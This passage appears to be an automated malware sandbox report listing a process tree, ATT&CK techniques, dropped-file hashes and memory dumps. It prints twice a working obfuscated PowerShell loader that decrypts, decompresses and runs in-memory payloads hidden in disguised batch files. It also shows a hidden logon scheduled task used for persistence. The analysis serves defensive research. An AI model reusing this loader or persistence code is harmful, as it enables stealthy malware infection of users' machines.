  C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('r6AxLwD402eCRDJ32hjyX5PrcoGk4roBX0y0PW8dYK8='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('63TMyPgVGawHvcYmh7n9VQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $DnxjM=New-Object System.IO.MemoryStream(,$param_var); $btGKT=New-Object System.IO.MemoryStream; $MGyrI=New-Object System.IO.Compression.GZipStream($DnxjM, [IO.Compression.CompressionMode]::Decompress); $MGyrI.CopyTo($btGKT); $MGyrI.Dispose(); $DnxjM.Dispose(); $btGKT.Dispose(); $btGKT.ToArray();}function execute_function($param_var,$param2_var){ $fkUYX=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $bsfoy=$fkUYX.EntryPoint; $bsfoy.Invoke($null, $param2_var);}$SOCYX = 'C:\Users\Admin\AppData\Local\conhost.bat';$host.UI.RawUI.WindowTitle = $SOCYX;$DeoEW=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($SOCYX).Split([Environment]::NewLine);foreach ($zOcCx in $DeoEW) { if ($zOcCx.StartsWith('IlrOHXPgwfKfMhOIfzGL')) { $EMOMb=$zOcCx.Substring(20); break; }}$payloads_var=[string[]]$EMOMb.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
  2⤵
  PID:3148
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3268
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_202_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_202.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3144
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_202.vbs"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2400
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_202.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1128
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('r6AxLwD402eCRDJ32hjyX5PrcoGk4roBX0y0PW8dYK8='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('63TMyPgVGawHvcYmh7n9VQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $DnxjM=New-Object System.IO.MemoryStream(,$param_var); $btGKT=New-Object System.IO.MemoryStream; $MGyrI=New-Object System.IO.Compression.GZipStream($DnxjM, [IO.Compression.CompressionMode]::Decompress); $MGyrI.CopyTo($btGKT); $MGyrI.Dispose(); $DnxjM.Dispose(); $btGKT.Dispose(); $btGKT.ToArray();}function execute_function($param_var,$param2_var){ $fkUYX=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $bsfoy=$fkUYX.EntryPoint; $bsfoy.Invoke($null, $param2_var);}$SOCYX = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_202.bat';$host.UI.RawUI.WindowTitle = $SOCYX;$DeoEW=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($SOCYX).Split([Environment]::NewLine);foreach ($zOcCx in $DeoEW) { if ($zOcCx.StartsWith('IlrOHXPgwfKfMhOIfzGL')) { $EMOMb=$zOcCx.Substring(20); break; }}$payloads_var=[string[]]$EMOMb.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        5⤵
        
        PID:2704
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:1908

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s PcaSvc
1⤵
PID:3596

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2
MD5 5f4c933102a824f41e258078e34165a7
SHA1 d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee
SHA512 a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034
MD5 SHA1 SHA512

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 62KB
SHA256 b7f66a3543488b08d8533f290eb5f2df7289531934e6db9c346714cfbf609cf0
MD5 e566632d8956997225be604d026c9b39
SHA1 94a9aade75fffc63ed71404b630eca41d3ce130e
SHA512 f244eb419eef0617cd585002e52c26120e57fcbadc37762c100712c55ff3c29b0f3991c2ffa8eefc4080d2a8dbfa01b188250ea440d631efed358e702cc3fecd
SSDEEP 1536:LflJdDiFHzdytYLYkzvHgfKQNUpeE711kDa5ljNC+jH0IM5MXYo3Xi3j39MVvjB8:LflJdWFHzd6YLYkzvHgfKQNUpeE711kz
MD5 SHA1 SHA512 SSDEEP

Submit Download

StartupProfileData-Interactive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Size 1KB
SHA256 ad07c03db372182c7590d72607b4a6cc0e3d22e58728f6d102f11673dda2d03e
MD5 b6dc0daafe07308e44601bf72564c70f
SHA1 b55648a631e226fa28fde04877b6be99b92e4183
SHA512 7838aa8ec6d050dca97beb4214848e92682a82e3055fcdf5b415299927cdae52562a94407346293d0a45c41a8841a58419f4db26235e456023b18a9fb519c5c6
MD5 SHA1 SHA512

Submit Download

StartupProfileData-Interactive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Size 1KB
SHA256 9e7673490258c2e8bc64887d0b20191b9e6f23acc04849a4de71e800f64d50e3
MD5 281d03d7d6d9a9a54f8841422193f6a7
SHA1 4e87b33b57d143a842c10a9ea79ede03d706c8ce
SHA512 21c187f0b47eb073012e45be79596f1e0f69cc07ea5b0f96bd47144b78409b11eb9214482370937ace3483d9c5e9f149a3de5d50e79482ee280bac6766e16fb7
MD5 SHA1 SHA512

Submit Download

StartupProfileData-Interactive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Size 1KB
SHA256 d740d9fd7cc5c16f6e1d699d1cc3f56d62a15557e1880d5ec63e6a01b3151e8f
MD5 de93b80ef71a674472f23017d102a914
SHA1 e2320d1fd40056ca4c30e6007357df1b43be4b2b
SHA512 6d8e8efc8f50f70d4ae88186818b51395decb79d4fdda268d6fae4510aea644dc39268e0799588ba544fab6e12df8241e9eb0949f064e24ef41fcfd87091e7cc
MD5 SHA1 SHA512

Submit Download

StartupProfileData-Interactive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Size 1KB
SHA256 73442ce02bd689c8cfc48c810aa8565bb0854aa68de61c08b228fe5dc713742d
MD5 5c99d7a6161085b9366c086aff9e487e
SHA1 e18b528ae46c9b4e74e35ee334486b44535152cb
SHA512 1888a97705aaaeabaa677918bfbcdb188b44ea4da556aa25c9e54814c1281f066c0b262cb347efa7470ce85fe4b220fa86db732361453e7e8b498501764c54c5
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 0a2b951533b29655270b941077bbf34ba21a5a59aebaf9948130ff31c7adf808
MD5 20573d05fc1acef706ffbdd4dc9f45dc
SHA1 defd35463b3433657ebb00de76d5f0cd0b81c81b
SHA512 8eca0f79e84f4018dd01d5c24b3f7e3b62a8ed7b186e1d918d4452e8f0c7a66b5e92efb74b76d22339a8bad7818147ee486582b384ca99db31e44e3219daf7b7
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_wirkp4sl.cih.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wirkp4sl.cih.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

conhost.bat

Path C:\Users\Admin\AppData\Local\conhost.bat
Size 274KB
SHA256 1712234dc7e53f17f82ce68b88b233c255dace791b6d554ec6ed97c02fa77521
MD5 8312a279f1761d8ab199897bdde2e024
SHA1 f960d6325354b3a48c64bb592ad312325fe82541
SHA512 0a98198de796ab3da3b6dbb16e4ecc9123a1efe6bdfd7dd6cfe3ae358b221f82a89846d17a4321f241efa534863cdc43c5d0cd696176b7b28962b8f9ad374643
SSDEEP 6144:iWNRW4JCN+zrwhVrE/91zE9twbybgCusExxUjr3EqS:iLbe6wE9twb2gC+xx0Qj
MD5 SHA1 SHA512 SSDEEP

Submit Download

dllhost.bat

Path C:\Users\Admin\AppData\Local\dllhost.bat
Size 83KB
SHA256 8977812b16f1e3d827cbce1675d9ad9e2f0370cf27cb3b23b389594739c3b837
MD5 fc1bd57fa57b7b5c512746c7de3fa19a
SHA1 7f794e6459def2dcc346d562aacca372e7282270
SHA512 71a1908e1625c9ef28c5a85ca21dfdadcebfc4ae41b21ba2d11a92e1192a49a819adde6fb30fb9f2e8f4199a264c56e86f9d21a67704f7b25b8dbdd9c43b07d9
SSDEEP 1536:Ys+uHxSJoI570XTnQeIgbLT8FwZKKy74kKH5X5SdSrtDAv9W34S9iW:OuHIV570jQcX7y7VKZTrtEv9CZ
MD5 SHA1 SHA512 SSDEEP

Submit Download

svchost.bat

Path C:\Users\Admin\AppData\Local\svchost.bat
Size 304KB
SHA256 52974d82b405f9ebba25b6de26cbf2c59f4ec9e4d6c7059661f9f2f02e29d03e
MD5 74f5686e51d07dab9f43f62081f83003
SHA1 8d6b22e17db345f43ec3db13748c162d3cd1b229
SHA512 5865a681a5e9b3464351a4d9e5bf18dccf3ed43f288c388decfa8559e496c67a563acadd8b7563e4004fe320298b47842a5a672552f14a95772460f54f782384
SSDEEP 6144:Q64gd0YCixGI6IF7Ksvm55cfRVqUVwzIBZkCdAM8YijxiM:Q64gaYHUItKsvtfbqUVPBRMXsM
MD5 SHA1 SHA512 SSDEEP

Submit Download

$phantom-startup_str_202.vbs

Path C:\Users\Admin\AppData\Roaming\$phantom-startup_str_202.vbs
Size 124B
SHA256 2c7914b273f98661d06676db84747a68aafd5fb2b3c917e313d32da323af4765
MD5 2f8efced7f5eb0f8c4907ac2542ab052
SHA1 d9369ec7b7a53a1887ad17b3dd2723425773c39a
SHA512 8f73b799c84a0bcfa10bc7af979c913bd7ec762cc6c143657dc08431e7f5b01f55ffb45ad77684f4364ec19dd26b31ab3ca3fce5ca33dde1aa39fbf04c380927
MD5 SHA1 SHA512

Submit Download

$svchost_726.vbs

Path C:\Users\Admin\AppData\Roaming\$svchost_726.vbs
Size 112B
SHA256 e3d3699cac15e14cc815760e672cd56355c9d5c04230d5008ddb53b52d4cdcdc
MD5 9a4a48de7ba63518ee9803f59d45a0b3
SHA1 ded8ded97f260787e2cff063eb4d99b24c1c9fdc
SHA512 533c949e5cb0c62889d35053c93a7f27956363115cd40869f750e84451d54d36463dd7dd542a22182181748ee712bf97e0e9c51e11f29c8cfeec2fa85155a879
MD5 SHA1 SHA512

Submit Download

memory/540-147-0x00007FFF77E30000-0x00007FFF77E40000-memory.dmp

Download

memory/756-106-0x00007FFF77E30000-0x00007FFF77E40000-memory.dmp

Download

memory/884-46-0x000002CEA1AB0000-0x000002CEA1AC2000-memory.dmp

Download

memory/884-47-0x000002CE89810000-0x000002CE8A810000-memory.dmp

Download

memory/884-45-0x000002CEA1A10000-0x000002CEA1A18000-memory.dmp

Download

memory/1112-196-0x00000243D9D60000-0x00000243D9D68000-memory.dmp

Download

memory/1112-197-0x00000243D9D70000-0x00000243D9DAC000-memory.dmp

Download

memory/1176-98-0x00007FFF77E30000-0x00007FFF77E40000-memory.dmp

Download

memory/1376-95-0x00007FFF77E30000-0x00007FFF77E40000-memory.dmp

Download

memory/1524-148-0x00007FFF77E30000-0x00007FFF77E40000-memory.dmp

Download

memory/1548-97-0x00007FFF77E30000-0x00007FFF77E40000-memory.dmp

Download

memory/1564-102-0x00007FFF77E30000-0x00007FFF77E40000-memory.dmp

Download

memory/1728-107-0x00007FFF77E30000-0x00007FFF77E40000-memory.dmp

Download

memory/1744-105-0x00007FFF77E30000-0x00007FFF77E40000-memory.dmp

Download

memory/1820-100-0x00007FFF77E30000-0x00007FFF77E40000-memory.dmp

Download

memory/1908-108-0x000002931D610000-0x000002931D61E000-memory.dmp

Download

memory/1964-99-0x00007FFF77E30000-0x00007FFF77E40000-memory.dmp

Download

memory/2492-149-0x00007FFF77E30000-0x00007FFF77E40000-memory.dmp

Download

memory/2692-209-0x00007FFF96EB0000-0x00007FFF97972000-memory.dmp

Download

memory/2692-25-0x00007FFF96EB0000-0x00007FFF97972000-memory.dmp

Download

memory/3252-24-0x00007FFF96EB0000-0x00007FFF97972000-memory.dmp

Download

memory/3252-12-0x00007FFF96EB0000-0x00007FFF97972000-memory.dmp

Download

memory/3252-9-0x000001EBE2DE0000-0x000001EBE2E02000-memory.dmp

Download

memory/3252-10-0x00007FFF96EB0000-0x00007FFF97972000-memory.dmp

Download

memory/3252-11-0x00007FFF96EB0000-0x00007FFF97972000-memory.dmp

Download

memory/3252-13-0x000001EBFB440000-0x000001EBFB486000-memory.dmp

Download

memory/3252-0-0x00007FFF96EB3000-0x00007FFF96EB5000-memory.dmp

Download

memory/3252-16-0x000001EBFB560000-0x000001EBFB630000-memory.dmp

Download

memory/3252-15-0x000001EBFB490000-0x000001EBFB562000-memory.dmp

Download

memory/3252-14-0x000001EBE2E50000-0x000001EBE2E58000-memory.dmp

Download

memory/3268-57-0x000002412DF40000-0x000002412DF48000-memory.dmp

Download

memory/3268-58-0x000002412E160000-0x000002412E196000-memory.dmp

Download

memory/3316-86-0x0000000003E10000-0x0000000003E3A000-memory.dmp

Download

memory/3316-94-0x00007FFF77E30000-0x00007FFF77E40000-memory.dmp

Download

memory/3936-96-0x00007FFF77E30000-0x00007FFF77E40000-memory.dmp

Download